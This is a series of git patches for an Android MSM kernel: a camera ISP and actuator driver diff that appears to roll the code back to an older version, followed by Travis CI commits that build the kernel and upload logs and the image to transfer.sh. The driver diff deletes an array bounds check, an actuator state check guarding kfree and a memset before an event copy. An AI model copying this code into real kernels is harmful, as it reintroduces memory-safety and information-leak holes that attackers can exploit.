0x68); msm_camera_io_w(0x1, vfe_dev->vfe_base + 0x58); - msm_camera_io_w_mb(0x200, vfe_dev->vfe_base + 0x4A0); + /* Start AXI */ msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x374); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); @@ -1854,7 +1831,6 @@ struct msm_vfe_hardware_info vfe47_hw_info = { .process_halt_irq = msm_vfe47_process_halt_irq, .process_reset_irq = msm_vfe47_process_reset_irq, .process_reg_update = msm_vfe47_process_reg_update, - .process_epoch_irq = msm_vfe47_process_epoch_irq, .process_axi_irq = msm_isp_process_axi_irq, .process_stats_irq = msm_isp_process_stats_irq, }, diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.c index 054d26339a9e1..da049a93f597a 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2013-2016, The Linux Foundation. All rights reserved. +/* Copyright (c) 2013-2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -25,11 +25,15 @@ int msm_isp_axi_create_stream( struct msm_vfe_axi_shared_data *axi_data, struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) { - uint32_t i = stream_cfg_cmd->stream_src; - if (i >= VFE_AXI_SRC_MAX) { - pr_err("%s:%d invalid stream_src %d\n", __func__, __LINE__, - stream_cfg_cmd->stream_src); - return -EINVAL; + int i, rc = -1; + for (i = 0; i < MAX_NUM_STREAM; i++) { + if (axi_data->stream_info[i].state == AVALIABLE) + break; + } + + if (i == MAX_NUM_STREAM) { + pr_err("%s: No free stream\n", __func__); + return rc; } if ((axi_data->stream_handle_cnt << 8) == 0) @@ -468,12 +472,16 @@ void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev, (stream_info->framedrop_period + 1) + 1; vfe_dev->hw_info->vfe_ops.axi_ops. cfg_framedrop(vfe_dev, stream_info); + vfe_dev->hw_info->vfe_ops.core_ops. + reg_update(vfe_dev); } else { stream_info->runtime_burst_frame_count--; if (stream_info-> runtime_burst_frame_count == 0) { vfe_dev->hw_info->vfe_ops.axi_ops. cfg_framedrop(vfe_dev, stream_info); + vfe_dev->hw_info->vfe_ops.core_ops. + reg_update(vfe_dev); } } } @@ -492,37 +500,45 @@ void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, vfe_dev->hw_info->vfe_ops.axi_ops.cfg_framedrop(vfe_dev, stream_info); } -void msm_isp_notify(struct vfe_device *vfe_dev, uint32_t event_type, - enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts) -{ - struct msm_isp_event_data event_data; - - switch (event_type) { - case ISP_EVENT_SOF: - if ((frame_src == VFE_PIX_0) && (vfe_dev->isp_sof_debug < 5)) { +void msm_isp_sof_notify(struct vfe_device *vfe_dev, + enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts) { + struct msm_isp_event_data sof_event; + switch (frame_src) { + case VFE_PIX_0: + if (vfe_dev->isp_sof_debug < 5) pr_err("%s: PIX0 frame id: %u\n", __func__, vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id); + else + ISP_DBG("%s: PIX0 frame id: %u\n", __func__, + vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id); vfe_dev->isp_sof_debug++; - } + vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id++; + if (vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id == 0) + vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id = 1; + break; + case VFE_RAW_0: + case VFE_RAW_1: + case VFE_RAW_2: + ISP_DBG("%s: RDI%d frame id: %u\n", + __func__, frame_src - VFE_RAW_0, + vfe_dev->axi_data.src_info[frame_src].frame_id); vfe_dev->axi_data.src_info[frame_src].frame_id++; if (vfe_dev->axi_data.src_info[frame_src].frame_id == 0) vfe_dev->axi_data.src_info[frame_src].frame_id = 1; - ISP_DBG("%s: frame_src %d frame id: %u\n", __func__, - frame_src, - vfe_dev->axi_data.src_info[frame_src].frame_id); - break; - case ISP_EVENT_REG_UPDATE: - vfe_dev->axi_data.src_info[frame_src].last_updt_frm_id = 0; break; default: + pr_err("%s: invalid frame src %d received\n", + __func__, frame_src); break; } - event_data.input_intf = frame_src; - event_data.frame_id = vfe_dev->axi_data.src_info[frame_src].frame_id; - event_data.timestamp = ts->event_time; - event_data.mono_timestamp = ts->buf_time; - msm_isp_send_event(vfe_dev, event_type | frame_src, &event_data); + sof_event.input_intf = frame_src; + sof_event.frame_id = vfe_dev->axi_data.src_info[frame_src].frame_id; + sof_event.timestamp = ts->event_time; + sof_event.mono_timestamp = ts->buf_time; + + vfe_dev->error_info.error_count = 0; + msm_isp_send_event(vfe_dev, ISP_EVENT_SOF + frame_src, &sof_event); } void msm_isp_calculate_framedrop( @@ -582,7 +598,6 @@ void msm_isp_calculate_bandwidth( struct msm_vfe_axi_shared_data *axi_data, struct msm_vfe_axi_stream *stream_info) { - int bpp = 0; if (stream_info->stream_src < RDI_INTF_0) { stream_info->bandwidth = (axi_data->src_info[VFE_PIX_0].pixel_clock / @@ -592,10 +607,9 @@ void msm_isp_calculate_bandwidth( stream_info->format_factor / ISP_Q2; } else { int rdi = SRC_TO_INTF(stream_info->stream_src); - bpp = msm_isp_get_bit_per_pixel(stream_info->output_format); if (rdi < VFE_SRC_MAX) stream_info->bandwidth = - (axi_data->src_info[rdi].pixel_clock / 8) * bpp; + axi_data->src_info[rdi].pixel_clock; else pr_err("%s: Invalid rdi interface\n", __func__); } @@ -707,8 +721,9 @@ int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg) } msm_isp_calculate_framedrop(&vfe_dev->axi_data, stream_cfg_cmd); - if (stream_cfg_cmd->vt_enable && !vfe_dev->vt_enable) { - vfe_dev->vt_enable = stream_cfg_cmd->vt_enable; + stream_info->vt_enable = stream_cfg_cmd->vt_enable; + if (stream_info->vt_enable) { + vfe_dev->vt_enable = stream_info->vt_enable; msm_isp_start_avtimer(); } if (stream_info->num_planes > 1) { @@ -805,7 +820,7 @@ static void msm_isp_axi_stream_enable_cfg( if (stream_info->stream_src == CAMIF_RAW || stream_info->stream_src == IDEAL_RAW) { vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << VFE_PIX_0)); + reg_update(vfe_dev); } } } @@ -1575,7 +1590,7 @@ static int msm_isp_start_axi_stream(struct vfe_device *vfe_dev, } msm_isp_update_stream_bandwidth(vfe_dev); vfe_dev->hw_info->vfe_ops.axi_ops.reload_wm(vfe_dev, wm_reload_mask); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); if (camif_update == ENABLE_CAMIF) { @@ -1652,15 +1667,11 @@ static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, if (!wait_for_complete_for_this_stream) { msm_isp_axi_stream_enable_cfg(vfe_dev, stream_info); stream_info->state = INACTIVE; - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, 0xF); } wait_for_complete |= wait_for_complete_for_this_stream; } if (wait_for_complete) { vfe_dev->axi_data.stream_update = stream_cfg_cmd->num_streams; - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, 0xF); rc = msm_isp_axi_wait_for_cfg_done(vfe_dev, camif_update); if (rc < 0) { pr_err("%s: wait for config done failed\n", __func__); @@ -1669,8 +1680,6 @@ static int msm_isp_stop_axi_stream(struct vfe_device *vfe_dev, HANDLE_TO_IDX( stream_cfg_cmd->stream_handle[i])]; stream_info->state = STOP_PENDING; - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, 0xF); msm_isp_axi_stream_enable_cfg( vfe_dev, stream_info); stream_info->state = INACTIVE; diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.h b/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.h index d9a24e053da58..63e65399a5fd8 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.h +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp_axi_util.h @@ -61,7 +61,7 @@ void msm_isp_axi_stream_update(struct vfe_device *vfe_dev, void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev, uint8_t input_src); -void msm_isp_notify(struct vfe_device *vfe_dev, uint32_t event_type, +void msm_isp_sof_notify(struct vfe_device *vfe_dev, enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts); void msm_isp_process_axi_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c index baf95a5f50d37..92af2ff9af248 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2013-2016, The Linux Foundation. All rights reserved. +/* Copyright (c) 2013-2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -269,13 +269,6 @@ uint32_t msm_isp_get_framedrop_period( case EVERY_6FRAME: case EVERY_7FRAME: case EVERY_8FRAME: - case EVERY_9FRAME: - case EVERY_10FRAME: - case EVERY_11FRAME: - case EVERY_12FRAME: - case EVERY_13FRAME: - case EVERY_14FRAME: - case EVERY_15FRAME: return frame_skip_pattern + 1; case EVERY_16FRAME: return 16; @@ -752,16 +745,6 @@ static long msm_isp_ioctl_unlocked(struct v4l2_subdev *sd, start_fetch_eng(vfe_dev, arg); mutex_unlock(&vfe_dev->core_mutex); break; - case VIDIOC_MSM_ISP_REG_UPDATE_CMD: - if (arg) { - enum msm_vfe_input_src frame_src = - *((enum msm_vfe_input_src *)arg); - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << frame_src)); - vfe_dev->axi_data.src_info[frame_src].last_updt_frm_id = - vfe_dev->axi_data.src_info[frame_src].frame_id; - } - break; case VIDIOC_MSM_ISP_SET_SRC_STATE: mutex_lock(&vfe_dev->core_mutex); rc = msm_isp_set_src_state(vfe_dev, arg); @@ -1113,9 +1096,11 @@ static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev, case VFE_HW_UPDATE_LOCK: { uint32_t update_id = vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id; - if (update_id) { - ISP_DBG("%s hw update lock failed cur id %u, last id %u\n", + if (vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id != *cfg_data + || update_id == *cfg_data) { + ISP_DBG("%s hw update lock failed acq %d, cur id %u, last id %u\n", __func__, + *cfg_data, vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id, update_id); return -EINVAL; @@ -1501,6 +1486,8 @@ void msm_isp_update_error_frame_count(struct vfe_device *vfe_dev) { struct msm_vfe_error_info *error_info = &vfe_dev->error_info; error_info->info_dump_frame_count++; + if (error_info->info_dump_frame_count == 0) + error_info->info_dump_frame_count++; } void msm_isp_process_error_info(struct vfe_device *vfe_dev) @@ -1609,7 +1596,6 @@ static void msm_isp_process_overflow_irq( *irq_status0 = 0; *irq_status1 = 0; - memset(&error_event, 0, sizeof(error_event)); error_event.frame_id = vfe_dev->axi_data.src_info[VFE_PIX_0].frame_id; error_event.u.error_info.error_mask = 1 << ISP_WM_BUS_OVERFLOW; @@ -1626,7 +1612,8 @@ void msm_isp_reset_burst_count_and_frame_drop( stream_info->stream_type != BURST_STREAM) { return; } - if (stream_info->num_burst_capture != 0) { + if (stream_info->stream_type == BURST_STREAM && + stream_info->num_burst_capture != 0) { framedrop_period = msm_isp_get_framedrop_period( stream_info->frame_skip_pattern); stream_info->burst_frame_count = @@ -1740,8 +1727,6 @@ void msm_isp_do_tasklet(unsigned long data) irq_status0, irq_status1, &ts); irq_ops->process_reg_update(vfe_dev, irq_status0, irq_status1, &ts); - irq_ops->process_epoch_irq(vfe_dev, - irq_status0, irq_status1, &ts); } } diff --git a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c index 0c2304338b800..dcbc56ef71dcd 100644 --- a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +++ b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c @@ -488,21 +488,17 @@ static int32_t msm_actuator_init_step_table(struct msm_actuator_ctrl_t *a_ctrl, uint16_t data_size = set_info->actuator_params.data_size; CDBG("Enter\n"); - /* validate the actuator state */ - if (a_ctrl->actuator_state != ACTUATOR_POWER_UP) { - pr_err("%s:%d invalid actuator_state %d\n" - , __func__, __LINE__, a_ctrl->actuator_state); - return -EINVAL; - } - for (; data_size > 0; data_size--) max_code_size *= 2; a_ctrl->max_code_size = max_code_size; - /* free the step_position_table to allocate a new one */ - kfree(a_ctrl->step_position_table); - a_ctrl->step_position_table = NULL; + /* free the step_position_table to allocate a new one */ + if ((a_ctrl->actuator_state == ACTUATOR_POWER_UP) && + (a_ctrl->step_position_table != NULL)) { + kfree(a_ctrl->step_position_table); + a_ctrl->step_position_table = NULL; + } if (set_info->af_tuning_params.total_steps > MAX_ACTUATOR_AF_TOTAL_STEPS) { @@ -614,30 +610,6 @@ static int32_t msm_actuator_vreg_control(struct msm_actuator_ctrl_t *a_ctrl, return rc; } -#ifdef CONFIG_MACH_T86519A1 -static int msm_actuator_software_pwdn(struct msm_actuator_ctrl_t *a_ctrl) -{ - int rc = 0; - struct msm_camera_i2c_reg_setting reg_setting; - struct msm_camera_i2c_reg_array *i2c_reg_tbl=NULL; - struct msm_camera_i2c_reg_array i2c_reg_tbll={0x80,0x00,10}; - - a_ctrl->i2c_tbl_index = 1; - i2c_reg_tbl = &i2c_reg_tbll; - reg_setting.reg_setting = i2c_reg_tbl; - reg_setting.size = 1; - reg_setting.data_type = MSM_CAMERA_I2C_BYTE_DATA; - reg_setting.addr_type = MSM_CAMERA_I2C_BYTE_ADDR; - reg_setting.delay = 10; - rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write_table_w_microdelay( - &a_ctrl->i2c_client, ®_setting); - if (rc < 0) - pr_err("msm_actuator_software_pwdn failed\n"); - - return rc; -} -#endif - static int32_t msm_actuator_power_down(struct msm_actuator_ctrl_t *a_ctrl) { int32_t rc = 0; @@ -651,10 +623,6 @@ static int32_t msm_actuator_power_down(struct msm_actuator_ctrl_t *a_ctrl) __func__, __LINE__); } -#ifdef CONFIG_MACH_T86519A1 - msm_actuator_software_pwdn(a_ctrl); -#endif - rc = msm_actuator_vreg_control(a_ctrl, 0); if (rc < 0) { pr_err("%s failed %d\n", __func__, __LINE__); diff --git a/include/media/msmb_isp.h b/include/media/msmb_isp.h index 0753d8177347b..83ad0d9b0e92c 100644 --- a/include/media/msmb_isp.h +++ b/include/media/msmb_isp.h @@ -1,4 +1,4 @@ -/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -9,10 +9,6 @@ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ -#ifdef CONFIG_WT88047_CAMERA -#include -#else - #ifndef __MSMB_ISP__ #define __MSMB_ISP__ @@ -31,7 +27,6 @@ #define ISP1_BIT (0x10000 << 2) #define ISP_META_CHANNEL_BIT (0x10000 << 3) #define ISP_SCRATCH_BUF_BIT (0x10000 << 4) -#define ISP_PDAF_CHANNEL_BIT (0x10000 << 5) #define ISP_STATS_STREAM_BIT 0x80000000 struct msm_vfe_cfg_cmd_list; @@ -86,13 +81,6 @@ enum msm_vfe_frame_skip_pattern { EVERY_6FRAME, EVERY_7FRAME, EVERY_8FRAME, - EVERY_9FRAME, - EVERY_10FRAME, - EVERY_11FRAME, - EVERY_12FRAME, - EVERY_13FRAME, - EVERY_14FRAME, - EVERY_15FRAME, EVERY_16FRAME, EVERY_32FRAME, SKIP_ALL, @@ -117,13 +105,6 @@ struct msm_vfe_fetch_engine_cfg { uint32_t buf_stride; }; -struct msm_vfe_camif_subsample_cfg { - uint32_t irq_subsample_period; - uint32_t irq_subsample_pattern; - uint32_t pixel_skip; - uint32_t line_skip; -}; - struct msm_vfe_camif_cfg { uint32_t lines_per_frame; uint32_t pixels_per_line; @@ -134,7 +115,6 @@ struct msm_vfe_camif_cfg { uint32_t epoch_line0; uint32_t epoch_line1; enum msm_vfe_camif_input camif_input; - struct msm_vfe_camif_subsample_cfg subsample_cfg; }; enum msm_vfe_inputmux { @@ -422,14 +402,12 @@ struct msm_vfe_axi_src_state { enum msm_isp_event_idx { ISP_REG_UPDATE = 0, - ISP_EPOCH_0 = 1, - ISP_EPOCH_1 = 2, - ISP_START_ACK = 3, - ISP_STOP_ACK = 4, - ISP_IRQ_VIOLATION = 5, - ISP_WM_BUS_OVERFLOW = 6, - ISP_STATS_OVERFLOW = 7, - ISP_CAMIF_ERROR = 8, + ISP_START_ACK = 1, + ISP_STOP_ACK = 2, + ISP_IRQ_VIOLATION = 3, + ISP_WM_BUS_OVERFLOW = 4, + ISP_STATS_OVERFLOW = 5, + ISP_CAMIF_ERROR = 6, ISP_BUF_DONE = 9, ISP_FE_RD_DONE = 10, ISP_EVENT_MAX = 11 @@ -439,25 +417,22 @@ enum msm_isp_event_idx { #define ISP_EVENT_BASE (V4L2_EVENT_PRIVATE_START) #define ISP_BUF_EVENT_BASE (ISP_EVENT_BASE + (1 << ISP_EVENT_OFFSET)) #define ISP_STATS_EVENT_BASE (ISP_EVENT_BASE + (2 << ISP_EVENT_OFFSET)) -#define ISP_CAMIF_EVENT_BASE (ISP_EVENT_BASE + (3 << ISP_EVENT_OFFSET)) -#define ISP_STREAM_EVENT_BASE (ISP_EVENT_BASE + (4 << ISP_EVENT_OFFSET)) +#define ISP_SOF_EVENT_BASE (ISP_EVENT_BASE + (3 << ISP_EVENT_OFFSET)) +#define ISP_EOF_EVENT_BASE (ISP_EVENT_BASE + (4 << ISP_EVENT_OFFSET)) #define ISP_EVENT_REG_UPDATE (ISP_EVENT_BASE + ISP_REG_UPDATE) -#define ISP_EVENT_EPOCH_0 (ISP_EVENT_BASE + ISP_EPOCH_0) -#define ISP_EVENT_EPOCH_1 (ISP_EVENT_BASE + ISP_EPOCH_1) #define ISP_EVENT_START_ACK (ISP_EVENT_BASE + ISP_START_ACK) #define ISP_EVENT_STOP_ACK (ISP_EVENT_BASE + ISP_STOP_ACK) #define ISP_EVENT_IRQ_VIOLATION (ISP_EVENT_BASE + ISP_IRQ_VIOLATION) #define ISP_EVENT_WM_BUS_OVERFLOW (ISP_EVENT_BASE + ISP_WM_BUS_OVERFLOW) #define ISP_EVENT_STATS_OVERFLOW (ISP_EVENT_BASE + ISP_STATS_OVERFLOW) #define ISP_EVENT_CAMIF_ERROR (ISP_EVENT_BASE + ISP_CAMIF_ERROR) -#define ISP_EVENT_SOF (ISP_CAMIF_EVENT_BASE) -#define ISP_EVENT_EOF (ISP_CAMIF_EVENT_BASE + 1) +#define ISP_EVENT_SOF (ISP_SOF_EVENT_BASE) +#define ISP_EVENT_EOF (ISP_EOF_EVENT_BASE) #define ISP_EVENT_BUF_DONE (ISP_EVENT_BASE + ISP_BUF_DONE) #define ISP_EVENT_BUF_DIVERT (ISP_BUF_EVENT_BASE) #define ISP_EVENT_STATS_NOTIFY (ISP_STATS_EVENT_BASE) #define ISP_EVENT_COMP_STATS_NOTIFY (ISP_EVENT_STATS_NOTIFY + MSM_ISP_STATS_MAX) #define ISP_EVENT_FE_READ_DONE (ISP_EVENT_BASE + ISP_FE_RD_DONE) -#define ISP_EVENT_STREAM_UPDATE_DONE (ISP_STREAM_EVENT_BASE) /* The msm_v4l2_event_data structure should match the * v4l2_event.u.data field. @@ -581,9 +556,6 @@ struct msm_isp_event_data32 { _IOWR('V', BASE_VIDIOC_PRIVATE+11, \ struct msm_vfe_stats_stream_release_cmd) -#define VIDIOC_MSM_ISP_REG_UPDATE_CMD \ - _IOWR('V', BASE_VIDIOC_PRIVATE+12, enum msm_vfe_input_src) - #define VIDIOC_MSM_ISP_UPDATE_STREAM \ _IOWR('V', BASE_VIDIOC_PRIVATE+13, struct msm_vfe_axi_stream_update_cmd) @@ -616,5 +588,3 @@ struct msm_isp_event_data32 { _IOWR('V', BASE_VIDIOC_PRIVATE+21, struct msm_isp_event_data) #endif #endif /* __MSMB_ISP__ */ - -#endif /* CONFIG_WT88047_CAMERA */ From bff9340814911325c493a0d5f6d7b7d32217b97a Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 16:10:46 +0600 Subject: [PATCH 357/365] sourcecode: Add travis.yml --- .travis.yml | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 .travis.yml diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000000000..ef2aa3f9e8a3a --- /dev/null +++ b/.travis.yml @@ -0,0 +1,47 @@ +language: c + +####################################################################################### + + +os: + - linux + + +####################################################################################### + + +before_install: + + # - sudo apt-get update -qq + + # downloading the best version of the linaro toolchain. + - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git + - export PATH=$PATH:$PWD/arm-eabi-4.9/bin/ + - arm-cortex-linux-gnueabi-gcc --version + + - sudo apt-get install bc + + +####################################################################################### + + +before_script: + + - export DST_PROJECT=$PWD + # download and extract the linux source code. + + +####################################################################################### + + +script: + - export KBUILD_BUILD_USER=lolmaxlik + - export KBUILD_BUILD_HOST=SmartRomTeam + - export ARCH=arm + - export CROSS_COMPILE=$PWD/arm-eabi-4.9/bin/arm-eabi- + - make zetsubou_peach_defconfig + - make zImage-dtb -j3 + + - curl --upload-file errors.log https://transfer.sh/errors.log + - curl --upload-file builds.log https://transfer.sh/builds.log + - curl --upload-file arch/arm/boot/zImage-dtb https://transfer.sh/zImage-dtb From ca1d95a7f493b2cbccac3c6c6111617801202c4d Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 16:45:23 +0600 Subject: [PATCH 358/365] Update .travis.yml --- .travis.yml | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/.travis.yml b/.travis.yml index ef2aa3f9e8a3a..9dcf95c1e2b80 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,38 +1,12 @@ language: c - -####################################################################################### - - os: - linux - -####################################################################################### - - before_install: - # - sudo apt-get update -qq - - # downloading the best version of the linaro toolchain. - - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git - - export PATH=$PATH:$PWD/arm-eabi-4.9/bin/ - - arm-cortex-linux-gnueabi-gcc --version - - - sudo apt-get install bc - - -####################################################################################### - - before_script: - export DST_PROJECT=$PWD - # download and extract the linux source code. - - -####################################################################################### - script: - export KBUILD_BUILD_USER=lolmaxlik From 6e4f4d223822fc8bc886625044eec195b54ade13 Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 16:48:22 +0600 Subject: [PATCH 359/365] Update .travis.yml --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index 9dcf95c1e2b80..ab18ea0806c25 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,6 +9,7 @@ before_script: - export DST_PROJECT=$PWD script: + - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git - export KBUILD_BUILD_USER=lolmaxlik - export KBUILD_BUILD_HOST=SmartRomTeam - export ARCH=arm From 7b77ffdf82c9d667878b6eb7dfec218fa721d60d Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 16:57:44 +0600 Subject: [PATCH 360/365] Update .travis.yml --- .travis.yml | 34 ++++++++++++++++++++++++++++++---- 1 file changed, 30 insertions(+), 4 deletions(-) diff --git a/.travis.yml b/.travis.yml index ab18ea0806c25..168888013d6cd 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,21 +1,47 @@ language: c + +####################################################################################### + + os: - linux + +####################################################################################### + + before_install: + # - sudo apt-get update -qq + + # downloading the best version of the linaro toolchain. + - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git + - export PATH=$PATH:$PWDarm-eabi-4.9/bin/ + - arm-eabi-gcc --version + + - sudo apt-get install bc + + +####################################################################################### + + before_script: - export DST_PROJECT=$PWD + # download and extract the linux source code. + + +####################################################################################### + script: - - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git - - export KBUILD_BUILD_USER=lolmaxlik - - export KBUILD_BUILD_HOST=SmartRomTeam + - export KBUILD_BUILD_USER=assusdan + - export KBUILD_BUILD_HOST=SRT - export ARCH=arm - export CROSS_COMPILE=$PWD/arm-eabi-4.9/bin/arm-eabi- + - make zetsubou_peach_defconfig - - make zImage-dtb -j3 + - make zImage-dtb -j5 - curl --upload-file errors.log https://transfer.sh/errors.log - curl --upload-file builds.log https://transfer.sh/builds.log From 7b70cbfcfeea9d4b30b13725dcc294db4efd335a Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 17:00:47 +0600 Subject: [PATCH 361/365] Update .travis.yml --- .travis.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 168888013d6cd..a36ddff7a0303 100644 --- a/.travis.yml +++ b/.travis.yml @@ -17,7 +17,6 @@ before_install: # downloading the best version of the linaro toolchain. - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git - export PATH=$PATH:$PWDarm-eabi-4.9/bin/ - - arm-eabi-gcc --version - sudo apt-get install bc From 54b471f360ec19bfd775ccc36b153482f9b4d553 Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 17:03:51 +0600 Subject: [PATCH 362/365] Update .travis.yml --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index a36ddff7a0303..1e85207b90e56 100644 --- a/.travis.yml +++ b/.travis.yml @@ -19,6 +19,7 @@ before_install: - export PATH=$PATH:$PWDarm-eabi-4.9/bin/ - sudo apt-get install bc + - sudo apt-get install libmpc-dev ####################################################################################### From a29a20cb47a948535129425d3af66308193ce267 Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 17:07:02 +0600 Subject: [PATCH 363/365] Update .travis.yml --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index 1e85207b90e56..db03ced680c20 100644 --- a/.travis.yml +++ b/.travis.yml @@ -20,6 +20,7 @@ before_install: - sudo apt-get install bc - sudo apt-get install libmpc-dev + - sudo ln -s /opt/pkg/mpc1.0.1/lib/libmpc.so.3.0.0 /opt/pkg/mpc1.0.1/lib/libmpc.so.3 ####################################################################################### From 8e3248536adc60ce64761f08ca7c31277b591602 Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 17:10:11 +0600 Subject: [PATCH 364/365] Update .travis.yml --- .travis.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index db03ced680c20..1e85207b90e56 100644 --- a/.travis.yml +++ b/.travis.yml @@ -20,7 +20,6 @@ before_install: - sudo apt-get install bc - sudo apt-get install libmpc-dev - - sudo ln -s /opt/pkg/mpc1.0.1/lib/libmpc.so.3.0.0 /opt/pkg/mpc1.0.1/lib/libmpc.so.3 ####################################################################################### From 16f34ff00bde896c02924ace13ae7785cafbebf1 Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 17:17:46 +0600 Subject: [PATCH 365/365] Update .travis.yml --- .travis.yml | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/.travis.yml b/.travis.yml index 1e85207b90e56..0e1c29c82bd0a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,11 +15,10 @@ before_install: # - sudo apt-get update -qq # downloading the best version of the linaro toolchain. - - git clone https://bitbucket.org/UBERTC/arm-eabi-4.9.git - - export PATH=$PATH:$PWDarm-eabi-4.9/bin/ + - git clone https://bitbucket.org/UBERTC/arm-eabi-4.8.git + - export PATH=$PATH:$PWDarm-eabi-4.8/bin/ - sudo apt-get install bc - - sudo apt-get install libmpc-dev ####################################################################################### @@ -35,10 +34,10 @@ before_script: script: - - export KBUILD_BUILD_USER=assusdan - - export KBUILD_BUILD_HOST=SRT + - export KBUILD_BUILD_USER=lolmaxlik + - export KBUILD_BUILD_HOST=SmartRomTeam - export ARCH=arm - - export CROSS_COMPILE=$PWD/arm-eabi-4.9/bin/arm-eabi- + - export CROSS_COMPILE=$PWD/arm-eabi-4.8/bin/arm-eabi- - make zetsubou_peach_defconfig - make zImage-dtb -j5

